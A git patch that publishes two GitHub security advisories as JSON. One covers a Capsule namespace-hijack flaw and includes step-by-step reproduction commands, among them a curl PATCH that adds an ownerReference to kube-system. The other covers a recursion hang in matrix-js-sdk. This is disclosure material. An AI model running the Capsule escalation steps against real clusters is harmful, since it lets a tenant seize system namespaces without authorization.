From ef65d7b8b6b03b9b3e99d613d8279b3eed27374f Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 20 Aug 2024 18:36:10 +0000 Subject: [PATCH] Publish Advisories GHSA-mq69-4j5w-3qwp GHSA-vhr5-g3pm-49fm --- .../GHSA-mq69-4j5w-3qwp.json | 69 +++++++++++++++++++ .../GHSA-vhr5-g3pm-49fm.json | 69 +++++++++++++++++++ 2 files changed, 138 insertions(+) create mode 100644 advisories/github-reviewed/2024/08/GHSA-mq69-4j5w-3qwp/GHSA-mq69-4j5w-3qwp.json create mode 100644 advisories/github-reviewed/2024/08/GHSA-vhr5-g3pm-49fm/GHSA-vhr5-g3pm-49fm.json diff --git a/advisories/github-reviewed/2024/08/GHSA-mq69-4j5w-3qwp/GHSA-mq69-4j5w-3qwp.json b/advisories/github-reviewed/2024/08/GHSA-mq69-4j5w-3qwp/GHSA-mq69-4j5w-3qwp.json new file mode 100644 index 00000000000..b2d389fa157 --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-mq69-4j5w-3qwp/GHSA-mq69-4j5w-3qwp.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mq69-4j5w-3qwp", + "modified": "2024-08-20T18:34:37Z", + "published": "2024-08-20T18:34:37Z", + "aliases": [ + "CVE-2024-39690" + ], + "summary": "Capsule tenant owner with \"patch namespace\" permission can hijack system namespaces", + "details": "# Attack Vector\nThen, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.\n\n# Below are my detailed reproduction steps\n1. Create a test cluster\n`kind create cluster --image=kindest/node:v1.24.15 --name=k8s`\n2. Install the capsule\n`helm install capsule projectcapsule/capsule -n capsule-system --create-namespace`\n3. Create a tenant\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n name: tenant1\nspec:\n owners:\n - name: alice\n kind: User\nEOF\n```\n4. Create user alice\n```\n./create-user.sh alice tenant1 capsule.clastix.io\nexport KUBECONFIG=alice-tenant1.kubeconfig\n```\n5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)\n```\nkubectl proxy\n\nexport DATA='[{\"op\": \"add\", \"path\": \"/metadata/ownerReferences\", \"value\":[{\"apiVersion\": \"capsule.clastix.io/v1beta2\", \"blockOwnerDeletion\": true, \"controller\": true, \"kind\": \"Tenant\", \"name\": \"tenant1\", \"uid\": \"ce3f2296-4aaa-45b0-a8fe-879d5096f193\"}]}]'\n\ncurl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d \"$DATA\" -H \"Content-Type: application/json-patch+json\"\n```\n7. Check the result\nThe kube-system is patched successfully.\n![image](https://github.com/projectcapsule/capsule/assets/151004196/e2775304-c1f4-494d-ab15-14f6f33e29ec)\n\n\n# Summary\nThe tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.\n\nI would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/projectcapsule/capsule" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.7.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-mq69-4j5w-3qwp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39690" + }, + { + "type": "WEB", + "url": "https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584" + }, + { + "type": "PACKAGE", + "url": "https://github.com/projectcapsule/capsule" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-08-20T18:34:37Z", + "nvd_published_at": "2024-08-20T15:15:21Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/08/GHSA-vhr5-g3pm-49fm/GHSA-vhr5-g3pm-49fm.json b/advisories/github-reviewed/2024/08/GHSA-vhr5-g3pm-49fm/GHSA-vhr5-g3pm-49fm.json new file mode 100644 index 00000000000..871d43a06a7 --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-vhr5-g3pm-49fm/GHSA-vhr5-g3pm-49fm.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vhr5-g3pm-49fm", + "modified": "2024-08-20T18:35:28Z", + "published": "2024-08-20T18:35:27Z", + "aliases": [ + "CVE-2024-42369" + ], + "summary": "matrix-js-sdk will freeze when a user sets a room with itself as a its predecessor", + "details": "### Impact\nA malicious homeserver can craft a room or room structure such that the predecessors form a cycle. The matrix-js-sdk's `getRoomUpgradeHistory` function will infinitely recurse in this case, causing the code to hang. This method is public but also called by the 'leaveRoomChain()' method, so leaving a room will also trigger the bug.\n\nEven if the CVSS score would be 4.1 ([AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:L&version=3.1)) we classify this as High severity issue.\n\n### Patches\nThis was patched in matrix-js-sdk 34.3.1.\n\n### Workarounds\nSanity check rooms before passing them to the matrix-js-sdk or avoid calling either `getRoomUpgradeHistory` or `leaveRoomChain`.\n\n### References\nN/A.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "matrix-js-sdk" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "34.3.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-vhr5-g3pm-49fm" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42369" + }, + { + "type": "WEB", + "url": "https://github.com/matrix-org/matrix-js-sdk/commit/a0efed8b881b3db6c9f2c71d6a6e74c2828978c6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/matrix-org/matrix-js-sdk" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-674" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-08-20T18:35:27Z", + "nvd_published_at": "2024-08-20T15:15:21Z" + } +} \ No newline at end of file